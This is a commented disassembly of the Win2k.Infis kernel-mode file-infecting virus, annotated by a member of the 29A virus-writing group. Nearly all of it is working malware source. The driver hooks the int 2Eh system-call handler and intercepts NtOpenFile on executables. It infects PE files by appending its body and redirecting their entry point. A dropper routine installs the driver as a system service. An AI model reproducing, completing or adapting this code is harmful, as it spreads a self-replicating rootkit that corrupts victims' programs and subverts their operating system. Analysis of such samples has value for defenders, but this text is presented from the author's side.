.text:00011000 ; Win2k.Infis - Reverse engineered by Ratter/29A
.text:00011000 ; - found one serious bug: the new int 2eh handler is not
.text:00011000 ;   serialized so under some circumstances the return_to_victim jmp offset
.text:00011000 ;   might get overwritten with values from different files we're infecting
.text:00011000 ;   here's prolly the corruption avers were talking about
.text:00011000 ; - first, there was a NT version which differs from this
.text:00011000 ;   one only in syscalls numbers
.text:00011000 ; - but this virus is nice, it reminds me more old kewl DOS 
.text:00011000 ;   pieces, you can see on it where the origin is.
.text:00011000 ;   DOS forever! :-)
.text:00011000 ; thx very much to the anonymous (you know who you are) for the binary!

.text:00011000 ; File Name   : C:\!_infis\win2k_infis\infis.sys
.text:00011000 ; Format	     : Portable	executable for IBM PC (PE)
.text:00011000 ; Section 1. (virtual address 00001000)
.text:00011000 ; Virtual size		       : 00000828 (   2088.)
.text:00011000 ; Section size in file	       : 00000A00 (   2560.)
.text:00011000 ; Offset	to raw data for	section: 00000400
.text:00011000 ; Flags 60000020: Text Executable Readable
.text:00011000 ; Alignment     : 16 bytes ?
.text:00011000 
.text:00011000 
.text:00011000 unicode	       macro page,string,zero
.text:00011000		       irpc c,<string>
.text:00011000		       db '&c', page
.text:00011000		       endm
.text:00011000		       ifnb <zero>
.text:00011000		       dw zero
.text:00011000		       endif
.text:00011000 endm
.text:00011000 
.text:00011000		       model flat
.text:00011000 
.text:00011000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.text:00011000 
.text:00011000 ; Segment type: Pure code
.text:00011000 ; Segment permissions: Read/Execute
.text:00011000 _text	       segment para public 'CODE' use32
.text:00011000		       assume cs:_text
.text:00011000		       ;org 11000h
.text:00011000		       assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.text:00011000 
.text:00011000 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011000 
.text:00011000 
.text:00011000		       public start
.text:00011000 start	       proc near
.text:00011000 
.text:00011000 driver_object   = dword ptr  4
.text:00011000 
.text:00011000		       mov     eax, [esp+driver_object]	; get driver object ptr
.text:00011004		       lea     edx, driver_unload
.text:0001100A		       mov     [eax+34h], edx  ; store driver_unload routine
.text:0001100D		       lea     edx, object_attribz
.text:00011013		       lea     eax, f_name_unicode
.text:00011019		       mov     [edx+8],	eax    ; store pointer to file name
.text:0001101C		       mov     dword ptr [eax+4], offset aSystemrootSyst ; "\\SystemRoot\\system32\\drivers\\inf.sys"
.text:00011023		       push    1200h	       ; NumberOfBytes
.text:00011028		       push    0	       ; PoolType
.text:0001102D		       call    ExAllocatePool  ; allocate 4608 bytes from paged	pool
.text:00011032		       or      eax, eax
.text:00011034		       jnz     short loc_1103E
.text:00011036		       mov     eax, 0C0000001h ; quit if error
.text:0001103B		       retn    8
.text:0001103E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001103E 
.text:0001103E loc_1103E:			       ; CODE XREF: start+34j
.text:0001103E		       mov     ds:body_buffer_start, eax
.text:00011043		       push    40h	       ; FILE_NON_DIRECTORY_FILE
.text:00011048		       push    0
.text:0001104D		       lea     edx, io_status_block
.text:00011053		       push    edx
.text:00011054		       lea     edx, object_attribz
.text:0001105A		       push    edx
.text:0001105B		       push    80000000h       ; we want GENERIC_READ
.text:00011060		       lea     edx, returned_handle
.text:00011066		       push    edx
.text:00011067		       lea     edx, [esp+0]    ; edx points to params on the stack
.text:0001106A		       mov     eax, 64h
.text:0001106F		       int     2Eh	       ; call NtOpenFile
.text:00011071		       add     esp, 18h	       ; adjust	the stack
.text:00011074		       or      eax, eax	       ; error status_success?
.text:00011076		       jnz     end_with_error
.text:0001107C		       push    0
.text:00011081		       lea     edx, bytes_offset
.text:00011087		       push    edx
.text:00011088		       push    1200h	       ; store length
.text:0001108D		       push    ds:body_buffer_start ; where
.text:00011093		       lea     edx, io_status_block
.text:00011099		       push    edx
.text:0001109A		       push    0
.text:0001109F		       push    0
.text:000110A4		       push    0
.text:000110A9		       push    ds:returned_handle
.text:000110AF		       lea     edx, [esp+0]
.text:000110B2		       mov     eax, 0A1h
.text:000110B7		       int     2Eh	       ; call NtReadFile
.text:000110B9		       add     esp, 24h
.text:000110BC		       or      eax, eax	       ; any error?
.text:000110BE		       jnz     short end_with_error
.text:000110C0		       push    ds:returned_handle
.text:000110C6		       lea     edx, [esp+0]    ; now we'll close the handle
.text:000110C9		       mov     eax, 18h
.text:000110CE		       int     2Eh	       ; call NtClose
.text:000110D0		       add     esp, 4
.text:000110D3		       or      eax, eax	       ; if error, end
.text:000110D5		       jnz     short end_with_error
.text:000110D7		       cli		       ; now we'll modify IDT so cli
.text:000110D8		       lea     eax, idtr_content
.text:000110DE		       sidt    qword ptr [eax] ; store idt addr
.text:000110E1		       mov     eax, [eax+2]    ; get the idt base addr
.text:000110E4		       lea     edx, [eax+170h] ; move to int 2eh descriptor
.text:000110EA		       mov     eax, [edx+4]    ; gimme high 16 bits of addr
.text:000110ED		       mov     ax, [edx]       ; and now low 16	bits
.text:000110F0		       lea     ecx, return_to_old_int_2eh+1
.text:000110F6		       mov     [ecx], eax      ; store the pointer so we'll be able to get back
.text:000110F8		       lea     ecx, [edx+5A0h] ; adjust	to 0e2h	descriptor
.text:000110FE		       mov     [ecx], ax
.text:00011101		       shr     eax, 10h	       ; and store the int 2eh entry addr
.text:00011104		       mov     [ecx+6],	ax
.text:00011108		       lea     eax, new_int_2eh
.text:0001110E		       mov     [edx], ax
.text:00011111		       shr     eax, 10h	       ; and finally modify the	int 2eh	descriptor
.text:00011111					       ; to point to our code
.text:00011114		       mov     [edx+6],	ax
.text:00011118		       sti		       ; enable	ints again
.text:00011119		       xor     eax, eax	       ; and end
.text:0001111B		       retn    8
.text:0001111E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001111E 
.text:0001111E end_with_error:			       ; CODE XREF: start+76j
.text:0001111E					       ; start+BEj ...
.text:0001111E		       retn    8
.text:0001111E start	       endp ; sp = -8
.text:0001111E 
.text:0001111E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011121 idtr_content    dd 2 dup(0)	       ; DATA XREF: start+D8o
.text:00011121					       ; .text:0001112Ao
.text:00011129 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011129 
.text:00011129 driver_unload:			       ; DATA XREF: start+4o
.text:00011129		       cli
.text:0001112A		       lea     eax, idtr_content
.text:00011130		       mov     eax, [eax+2]
.text:00011133		       lea     edx, [eax+170h] ; restore the old int 2eh
.text:00011139		       lea     eax, return_to_old_int_2eh+1
.text:0001113F		       mov     eax, [eax]
.text:00011141		       mov     [edx], ax
.text:00011144		       shr     eax, 10h
.text:00011147		       mov     [edx+6],	ax
.text:0001114B		       sti
.text:0001114C		       push    ds:body_buffer_start
.text:00011152		       call    ExFreePool      ; free the body buffer
.text:00011157		       retn    4
.text:0001115A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001115A 
.text:0001115A new_int_2eh:			       ; DATA XREF: start+108o
.text:0001115A		       cmp     eax, 64h	       ; the function is NtOpenFile?
.text:0001115D		       jnz     return_to_old_int_2eh
.text:00011163		       pusha		       ; store the registers onto the stack
.text:00011164		       push    fs	       ; in edx	there is a pointer to params
.text:00011166		       mov     eax, [edx+8]    ; gimme object_attributes ptr
.text:00011169		       mov     eax, [eax+8]    ; gimme object name pointer
.text:0001116C		       xor     edx, edx
.text:0001116E		       mov     dx, [eax]       ; size of the name in the unicode string
.text:00011171		       mov     eax, [eax+4]    ; now the real name pointer
.text:00011174		       lea     eax, [edx+eax-8]	; we need to check the suffix
.text:00011174					       ; so get	to the end of the string
.text:00011178		       cmp     dword ptr [eax],	65002Eh	; ".e"?
.text:0001117E		       jnz     int_2eh_end
.text:00011184		       cmp     dword ptr [eax+4], 650078h ; "xe"?
.text:0001118B		       jnz     int_2eh_end
.text:00011191		       cmp     dword ptr [eax-6], 6D0063h ; "cm"?
.text:00011198		       jz      int_2eh_end     ; if it is cmd.exe end
.text:0001119E		       cmp     dword ptr [eax-2], 2E0064h ; "d."?
.text:000111A5		       jz      int_2eh_end
.text:000111AB		       sub     eax, edx
.text:000111AD		       add     eax, 8	       ; count the size	in words
.text:000111B0		       mov     ecx, edx
.text:000111B2		       shr     ecx, 1
.text:000111B4 
.text:000111B4 loc_111B4:			       ; CODE XREF: .text:000111B8j
.text:000111B4		       push    small word ptr [eax+ecx*2]
.text:000111B8		       loop    loc_111B4       ; now we'll push the whole string
.text:000111B8					       ; onto the stack
.text:000111BA		       push    small word ptr [eax] ; and final	null too
.text:000111BD		       mov     ecx, edx
.text:000111BF		       lea     edx, [esp]
.text:000111C2		       lea     eax, f_name_unicode
.text:000111C8		       mov     [eax], cx       ; set up	the UNICODE structure
.text:000111CB		       mov     [eax+2],	cx
.text:000111CF		       mov     [eax+4],	edx
.text:000111D2		       mov     ebx, ecx
.text:000111D4		       push    40h	       ; FILE_NON_DIRECTORY_FILE
.text:000111D9		       push    0
.text:000111DE		       lea     edx, io_status_block
.text:000111E4		       push    edx
.text:000111E5		       lea     edx, object_attribz
.text:000111EB		       push    edx
.text:000111EC		       push    0C0000000h      ; GENERIC_READ |	GENERIC_WRITE
.text:000111F1		       lea     edx, returned_handle
.text:000111F7		       push    edx
.text:000111F8		       lea     edx, [esp]
.text:000111FB		       mov     eax, 64h
.text:00011200		       int     0E2h	       ; call NtOpenFile
.text:00011202 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011202		       add     esp, 18h
.text:00011205		       add     esp, ebx	       ; get rid of the	string on the stack
.text:00011207		       add     esp, 2
.text:0001120A		       or      eax, eax
.text:0001120C		       jnz     int_2eh_end     ; status_success?
.text:00011212		       mov     edx, 3Ch	       ; read the new exe header start
.text:00011217		       call    read_dword_from_file
.text:0001121C		       or      eax, eax
.text:0001121E		       jnz     loc_11391
.text:00011224		       mov     ebx, edx	       ; read header mark
.text:00011226		       call    read_dword_from_file
.text:0001122B		       cmp     edx, 4550h      ; "PE"?
.text:00011231		       jnz     loc_11391
.text:00011237		       lea     edx, [ebx+8]    ; gimme timedatestamp
.text:0001123A		       call    read_dword_from_file
.text:0001123F		       cmp     edx, 0FFFFFFFFh ; file is already infected?
.text:00011242		       jz      loc_11391
.text:00011248		       lea     edx, [ebx+5Ch]  ; gimme subsystem
.text:0001124B		       call    read_dword_from_file
.text:00011250		       cmp     dx, 2	       ; if it's driver or unknown, end
.text:00011254		       jb      loc_11391
.text:0001125A		       lea     edx, [ebx+14h]  ; gimme sizeofoptionalheader
.text:0001125D		       call    read_dword_from_file
.text:00011262		       cmp     dx, 0E0h	       ; does it match our size?
.text:00011267		       jnz     loc_11391
.text:0001126D		       lea     edx, [ebx+34h]  ; gimme imagebase
.text:00011270		       call    read_dword_from_file
.text:00011275		       cmp     edx, 400000h    ; does it fit?
.text:0001127B		       jnz     loc_11391
.text:00011281		       mov     esi, edx	       ; esi now holds the imagebase
.text:00011283		       lea     edx, [ebx+28h]  ; gimme the entrypoint addr
.text:00011286		       call    read_dword_from_file
.text:0001128B		       add     esi, edx	       ; adjust	imagebase
.text:0001128D		       mov     edx, 0C16h      ; we'll store it to return_to_victim
.text:0001128D					       ; so the	far jmp	will jump right	:-)
.text:00011292		       add     edx, ds:body_buffer_start ; add the body	buffer
.text:00011298		       mov     [edx], esi      ; store it to our prepared body to inject
.text:0001129A		       lea     edx, [ebx+50h]  ; gimme sizeof image
.text:0001129D		       call    read_dword_from_file
.text:000112A2		       add     edx, 1200h      ; add our size
.text:000112A8		       mov     eax, edx
.text:000112AA		       lea     edx, [ebx+50h]  ; and write it back
.text:000112AD		       call    write_dword_to_file
.text:000112B2		       or      eax, eax
.text:000112B4		       jnz     loc_11391       ; error?
.text:000112BA		       lea     edx, [ebx+8]    ; set our timedatestamp to -1
.text:000112BA					       ; it's a infection mark
.text:000112BD		       mov     eax, 0FFFFFFFFh
.text:000112C2		       call    write_dword_to_file
.text:000112C7		       lea     edx, [ebx+6]    ; gimme number of sections
.text:000112CA		       call    read_dword_from_file
.text:000112CF		       and     edx, 0FFFFh
.text:000112D5		       dec     edx	       ; we'll count the last section header start
.text:000112D6		       mov     eax, edx
.text:000112D8		       shl     edx, 3	       ; imul with the section header size (28h,
.text:000112D8					       ; *32 (shl 5) + *8 (shl 3))
.text:000112DB		       shl     eax, 5
.text:000112DE		       add     eax, edx
.text:000112E0		       lea     edi, [eax+ebx+0F8h] ; now add it	all together (section headers start,
.text:000112E0					       ; last section displacement etc)
.text:000112E7		       mov     esi, 849h       ; gimme the offset of PE	exe entrypoint
.text:000112E7					       ; (see later)
.text:000112EC		       lea     edx, [edi+0Ch]  ; gimme last section's virtual address
.text:000112EF		       call    read_dword_from_file
.text:000112F4		       add     esi, edx	       ; add it
.text:000112F6		       lea     edx, [edi+10h]  ; gimme sizeof rawdata
.text:000112F9		       call    read_dword_from_file
.text:000112FE		       lea     eax, [edx+esi]  ; eax now holds RVA of our entrypoint in	last
.text:000112FE					       ; section
.text:00011301		       lea     esi, [edx+1200h]	; add our size to rawdata
.text:00011307		       lea     edx, [ebx+28h]  ; set the new image entrypoint to us
.text:0001130A		       call    write_dword_to_file
.text:0001130F		       mov     eax, esi
.text:00011311		       lea     edx, [edi+10h]  ; write new sizeof rawdata
.text:00011314		       call    write_dword_to_file
.text:00011319		       lea     edx, [edi+8]    ; read virtualsize
.text:0001131C		       call    read_dword_from_file
.text:00011321		       lea     eax, [edx+1200h]	; add our size
.text:00011327		       lea     edx, [edi+8]    ; and write it finally
.text:0001132A		       call    write_dword_to_file
.text:0001132F		       mov     eax, 0E0000020h ; set new section's flags
.text:0001132F					       ; (execute, read, write,	contains code)
.text:00011334		       lea     edx, [edi+24h]  ; write them
.text:00011337		       call    write_dword_to_file
.text:0001133C		       lea     edx, [edi+14h]  ; gimme pointer to rawdata inside the file
.text:0001133F		       call    read_dword_from_file
.text:00011344		       lea     edx, [esi+edx-1200h] ; count the	offset
.text:0001134B		       push    0
.text:00011350		       mov     ds:bytes_offset,	edx
.text:00011356		       lea     edx, bytes_offset
.text:0001135C		       push    edx
.text:0001135D		       push    1200h
.text:00011362		       push    ds:body_buffer_start
.text:00011368		       lea     edx, io_status_block
.text:0001136E		       push    edx
.text:0001136F		       push    0
.text:00011374		       push    0
.text:00011379		       push    0
.text:0001137E		       push    ds:returned_handle
.text:00011384		       lea     edx, [esp]
.text:00011387		       mov     eax, 0EDh
.text:0001138C		       int     0E2h	       ; and finally call NtWriteFile
.text:0001138C					       ; to write our body into	the victim
.text:0001138E		       add     esp, 24h
.text:00011391 
.text:00011391 loc_11391:			       ; CODE XREF: .text:0001121Ej
.text:00011391					       ; .text:00011231j ...
.text:00011391		       push    ds:returned_handle
.text:00011397		       lea     edx, [esp]      ; close the handle
.text:0001139A		       mov     eax, 18h
.text:0001139F		       int     0E2h	       ; call NtClose
.text:000113A1		       add     esp, 4
.text:000113A4 
.text:000113A4 int_2eh_end:			       ; CODE XREF: .text:0001117Ej
.text:000113A4					       ; .text:0001118Bj ...
.text:000113A4		       pop     fs	       ; restore registers
.text:000113A6		       popa
.text:000113A7 
.text:000113A7 return_to_old_int_2eh:		       ; CODE XREF: .text:0001115Dj
.text:000113A7					       ; DATA XREF: start+F0o ...
.text:000113A7                                         ; 08h is standard dpl0 flat code descriptor
.text:000113A7		       jmp     far ptr 8:0     ; and jump to original handler
.text:000113AE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:000113AE 
.text:000113AE read_dword_from_file:		       ; CODE XREF: .text:00011217p
.text:000113AE					       ; .text:00011226p ...
.text:000113AE		       push    0
.text:000113B3		       mov     ds:bytes_offset,	edx ; store the	file offset to start from
.text:000113B9		       lea     edx, bytes_offset
.text:000113BF		       push    edx
.text:000113C0		       push    4
.text:000113C5		       lea     edx, buffer_dword_type
.text:000113CB		       push    edx
.text:000113CC		       lea     edx, io_status_block
.text:000113D2		       push    edx
.text:000113D3		       push    0
.text:000113D8		       push    0
.text:000113DD		       push    0
.text:000113E2		       push    ds:returned_handle
.text:000113E8		       lea     edx, [esp]
.text:000113EB		       mov     eax, 0A1h
.text:000113F0		       int     0E2h	       ; call NtReadFile
.text:000113F2		       add     esp, 24h
.text:000113F5		       mov     edx, ds:buffer_dword_type ; gimme the read dword
.text:000113FB		       retn
.text:000113FC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:000113FC 
.text:000113FC write_dword_to_file:		       ; CODE XREF: .text:000112ADp
.text:000113FC					       ; .text:000112C2p ...
.text:000113FC		       push    0
.text:00011401		       mov     ds:bytes_offset,	edx ; store from where to write
.text:00011407		       mov     ds:buffer_dword_type, eax ; store which value
.text:0001140C		       lea     edx, bytes_offset
.text:00011412		       push    edx
.text:00011413		       push    4
.text:00011418		       lea     edx, buffer_dword_type
.text:0001141E		       push    edx
.text:0001141F		       lea     edx, io_status_block
.text:00011425		       push    edx
.text:00011426		       push    0
.text:0001142B		       push    0
.text:00011430		       push    0
.text:00011435		       push    ds:returned_handle
.text:0001143B		       lea     edx, [esp]
.text:0001143E		       mov     eax, 0EDh
.text:00011443		       int     0E2h	       ; call NtWriteFile
.text:00011445		       add     esp, 24h
.text:00011448		       retn
.text:00011449 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011449 this is the entrypoint in the normal PE exe file	a
.text:00011449 dropper of the driver
.text:00011449		       pusha
.text:0001144A		       call    next
.text:0001144F next:
.text:0001144F		       pop     ebx	       ; get the base we're running
.text:00011450		       mov     eax, object_attribz_ - next
.text:00011455		       lea     eax, [ebx+eax+8]
.text:00011459		       add     [eax], ebx      ; adjust the base wherever it's needed
.text:0001145B		       mov     eax, registry_unicode_string - next
.text:00011460		       lea     eax, [ebx+eax+4]
.text:00011464		       add     [eax], ebx
.text:00011466		       mov     eax, atype_unicode_string - next
.text:0001146B		       lea     eax, [ebx+eax+4]
.text:0001146F		       add     [eax], ebx
.text:00011471		       mov     eax, astart_unicode_string - next
.text:00011476		       lea     eax, [ebx+eax+4]
.text:0001147A		       add     [eax], ebx
.text:0001147C		       mov     eax, aerror_control_unicode_string - next
.text:00011481		       lea     eax, [ebx+eax+4]
.text:00011485		       add     [eax], ebx
.text:00011487		       mov     eax, object_attribz - next
.text:0001148C		       lea     eax, [ebx+eax+8]
.text:00011490		       add     [eax], ebx
.text:00011492		       mov     eax, f_name_unicode - next
.text:00011497		       lea     eax, [ebx+eax+4]
.text:0001149B		       add     [eax], ebx
.text:0001149D		       xor     eax, eax
.text:0001149F		       push    eax
.text:000114A0		       push    eax
.text:000114A1		       push    eax
.text:000114A2		       push    eax
.text:000114A3		       mov     edx, object_attribz_ - next
.text:000114A8		       add     edx, ebx
.text:000114AA		       push    edx
.text:000114AB		       push    6               ; KEY_CREATE_SUB_KEY | KEY_SET_VALUE
.text:000114B0		       mov     edx, key_handle - next
.text:000114B5		       add     edx, ebx        ; ok, create the key
.text:000114B7		       push    edx
.text:000114B8		       mov     eax, 23h
.text:000114BD		       lea     edx, [esp]
.text:000114C0		       int     2Eh	       ; call NtCreateKey
.text:000114C2		       add     esp, 1Ch
.text:000114C5		       or      eax, eax
.text:000114C7		       jnz     return_to_victim ; error?
.text:000114CD		       push    4               ; we're storing DWORD
.text:000114D2		       mov     edx, buffer_dword_type - next
.text:000114D7		       add     edx, ebx
.text:000114D9		       push    edx
.text:000114DA		       push    4               ; REG_DWORD
.text:000114DF		       push    0
.text:000114E4		       mov     edx, atype_unicode_string - next
.text:000114E9		       add     edx, ebx
.text:000114EB		       push    edx
.text:000114EC		       mov     eax, key_handle - next
.text:000114F1		       add     eax, ebx
.text:000114F3		       push    dword ptr [eax] ; set the tye
.text:000114F5		       mov     eax, 0D7h
.text:000114FA		       lea     edx, [esp]
.text:000114FD		       int     2Eh	       ; call NtSetValueKey
.text:000114FF		       add     esp, 18h
.text:00011502		       or      eax, eax
.text:00011504		       jnz     return_to_victim ; error?
.text:0001150A		       push    4
.text:0001150F		       mov     edx, body_buffer_start - next
.text:00011514		       add     edx, ebx
.text:00011516		       push    edx
.text:00011517		       push    4               ; REG_DWORD
.text:0001151C		       push    0
.text:00011521		       mov     edx, astart_unicode_string - next
.text:00011526		       add     edx, ebx
.text:00011528		       push    edx             ; the same with start value
.text:00011529		       mov     eax, key_handle - next
.text:0001152E		       add     eax, ebx
.text:00011530		       push    dword ptr [eax]
.text:00011532		       mov     eax, 0D7h
.text:00011537		       lea     edx, [esp]
.text:0001153A		       int     2Eh	       ; call NtSetValueKey
.text:0001153C		       add     esp, 18h
.text:0001153F		       or      eax, eax
.text:00011541		       jnz     return_to_victim
.text:00011547		       push    4
.text:0001154C		       mov     edx, buffer_dword_type - next
.text:00011551		       add     edx, ebx
.text:00011553		       push    edx
.text:00011554		       push    4               ; REG_DWORD
.text:00011559		       push    0
.text:0001155E		       mov     edx, aerror_control_unicode_string - next
.text:00011563		       add     edx, ebx
.text:00011565		       push    edx
.text:00011566		       mov     eax, key_handle - next
.text:0001156B		       add     eax, ebx
.text:0001156D		       push    dword ptr [eax]
.text:0001156F		       mov     eax, 0D7h       ; and finally error_control
.text:00011574		       lea     edx, [esp]
.text:00011577		       int     2Eh	       ; call NtSetValueKey
.text:00011579		       add     esp, 18h
.text:0001157C		       or      eax, eax
.text:0001157E		       jnz     return_to_victim
.text:00011584		       push    0
.text:00011589		       push    0
.text:0001158E		       push    40h             ; FILE_NON_DIRECTORY_FILE
.text:00011593		       push    0
.text:00011598		       push    0
.text:0001159D		       push    80h             ; FILE_ATTRIBUTE_NORMAL
.text:000115A2		       push    0
.text:000115A7		       mov     edx, io_status_block - next
.text:000115AC		       add     edx, ebx
.text:000115AE		       push    edx
.text:000115AF		       mov     edx, object_attribz - next
.text:000115B4		       add     edx, ebx
.text:000115B6		       push    edx
.text:000115B7		       push    0C0000000h      ; GENERIC_READ | GENERIC_WRITE
.text:000115BC		       mov     edx, returned_handle - next
.text:000115C1		       add     edx, ebx
.text:000115C3		       push    edx             ; create the inf.sys file
.text:000115C4		       lea     edx, [esp]      ; in system dir
.text:000115C7		       mov     eax, 20h
.text:000115CC		       int     2Eh	       ; call NtCreateFile
.text:000115CE		       add     esp, 2Ch
.text:000115D1		       or      eax, eax
.text:000115D3		       jnz     return_to_victim ; error?
.text:000115D9		       push    0
.text:000115DE		       mov     edx, bytes_offset - next
.text:000115E3		       add     edx, ebx
.text:000115E5		       push    edx
.text:000115E6		       push    1200h           ; the size is 4608 bytes
.text:000115EB		       mov     edx, start - next ; count the offset
.text:000115F0		       lea     edx, [ebx+edx-400h] ; add headers
.text:000115F7		       push    edx
.text:000115F8		       mov     edx, io_status_block - next
.text:000115FD		       add     edx, ebx
.text:000115FF		       push    edx
.text:00011600		       push    0
.text:00011605		       push    0
.text:0001160A		       push    0
.text:0001160F		       mov     eax, returned_handle - next
.text:00011614		       add     eax, ebx
.text:00011616		       push    dword ptr [eax]
.text:00011618		       call    repair_offsets_before_write_to_victim
.text:0001161D		       lea     edx, [esp]
.text:00011620		       mov     eax, return_to_victim_jmp - next
.text:00011625		       add     eax, ebx
.text:00011627		       mov     esi, eax        ; null the victim jmp
.text:00011629		       mov     edi, [eax]
.text:0001162B		       mov     dword ptr [eax],	0
.text:00011631		       mov     eax, 0EDh       ; and write the driver!
.text:00011636		       int     2Eh	       ; call NtWriteFile
.text:00011638		       add     esp, 24h
.text:0001163B		       mov     [esi], edi      ; restore the victim jmp
.text:0001163D		       jmp     return_to_victim ; end
.text:00011642 
.text:00011642 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011642 
.text:00011642 
.text:00011642 repair_offsets_before_write_to_victim proc near ; CODE XREF: .text:00011618p
.text:00011642		       mov     eax, object_attribz_ - next
.text:00011647		       lea     eax, [ebx+eax+8]	; repair the value
.text:0001164B		       sub     [eax], ebx
.text:0001164D		       mov     eax, registry_unicode_string - nexth
.text:00011652		       lea     eax, [ebx+eax+4]
.text:00011656		       sub     [eax], ebx      ; repair	the value
.text:00011658		       mov     eax, atype_unicode_string - next
.text:0001165D		       lea     eax, [ebx+eax+4]
.text:00011661		       sub     [eax], ebx      ; repair	the value
.text:00011663		       mov     eax, astart_unicode_string - next
.text:00011668		       lea     eax, [ebx+eax+4]
.text:0001166C		       sub     [eax], ebx      ; repair	the value
.text:0001166E		       mov     eax, aerror_control_unicode_string - next
.text:00011673		       lea     eax, [ebx+eax+4]
.text:00011677		       sub     [eax], ebx      ; repair	the value
.text:00011679		       mov     eax, object_attribz - next
.text:0001167E		       lea     eax, [ebx+eax+8]
.text:00011682		       sub     [eax], ebx      ; repair	the value
.text:00011684		       mov     eax, f_name_unicode - next
.text:00011689		       lea     eax, [ebx+eax+4]
.text:0001168D		       sub     [eax], ebx      ; repair	the value
.text:0001168F		       xor     edx, edx
.text:00011691		       mov     eax, key_handle - next
.text:00011696		       add     eax, ebx
.text:00011698		       mov     [eax], edx      ; null
.text:0001169A		       mov     eax, returned_handle - next
.text:0001169F		       add     eax, ebx
.text:000116A1		       mov     [eax], edx      ; null
.text:000116A3		       mov     eax, io_status_block - next
.text:000116A8		       add     eax, ebx	       ; null
.text:000116AA		       mov     [eax], edx
.text:000116AC		       mov     [eax+4],	edx
.text:000116AF		       retn
.text:000116AF repair_offsets_before_write_to_victim endp
.text:000116AF 
.text:000116AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:000116B0 key_handle      dd 0
.text:000116B4 object_attribz_ dw 18h
.text:000116B6		       db 6 dup(0)
.text:000116BC		       dd registry_unicode_string - next
.text:000116C0		       db  40h ; @
.text:000116C1		       db 0Bh dup(0)
.text:000116CC registry_unicode_string dw 6Eh
.text:000116CE		       dw 6Eh
.text:000116D0		       dd aRegistryMachin - next
.text:000116D4 aRegistryMachin:
.text:000116D4		       unicode 0, <\Registry\Machine\System\CurrentControlSet\S>
.text:000116D4		       unicode 0, <ervices\inf>,0
.text:00011744 atype_unicode_string dw 8
.text:00011746		       dw 8
.text:00011748		       dd aType - next
.text:0001174C aType:
.text:0001174C		       unicode 0, <Type>,0
.text:00011756 astart_unicode_string dw	0Ah
.text:00011758		       dw 0Ah
.text:0001175A		       dd aStart - next
.text:0001175E aStart:
.text:0001175E		       unicode 0, <Start>,0
.text:0001176A aerror_control_unicode_string dw	18h
.text:0001176C		       dw 18h
.text:0001176E		       dd aErrorcontrol - next
.text:00011772 aErrorcontrol:
.text:00011772		       unicode 0, <ErrorControl>,0
.text:0001178C buffer_dword_type dd 1		       ; DATA XREF: .text:000113C5o
.text:0001178C					       ; .text:000113F5r ...
.text:00011790 body_buffer_start dd 2		       ; DATA XREF: start+3Ew
.text:00011790					       ; start+8Dr ...
